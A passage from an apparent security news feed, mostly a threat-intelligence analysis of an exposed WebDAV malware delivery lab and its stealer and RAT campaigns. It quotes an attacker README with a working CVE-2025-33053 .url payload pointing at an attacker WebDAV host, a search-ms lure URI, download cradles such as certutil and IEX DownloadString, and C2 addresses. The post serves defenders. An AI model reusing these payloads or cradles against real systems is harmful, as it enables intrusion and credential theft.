keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”</p><p>Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
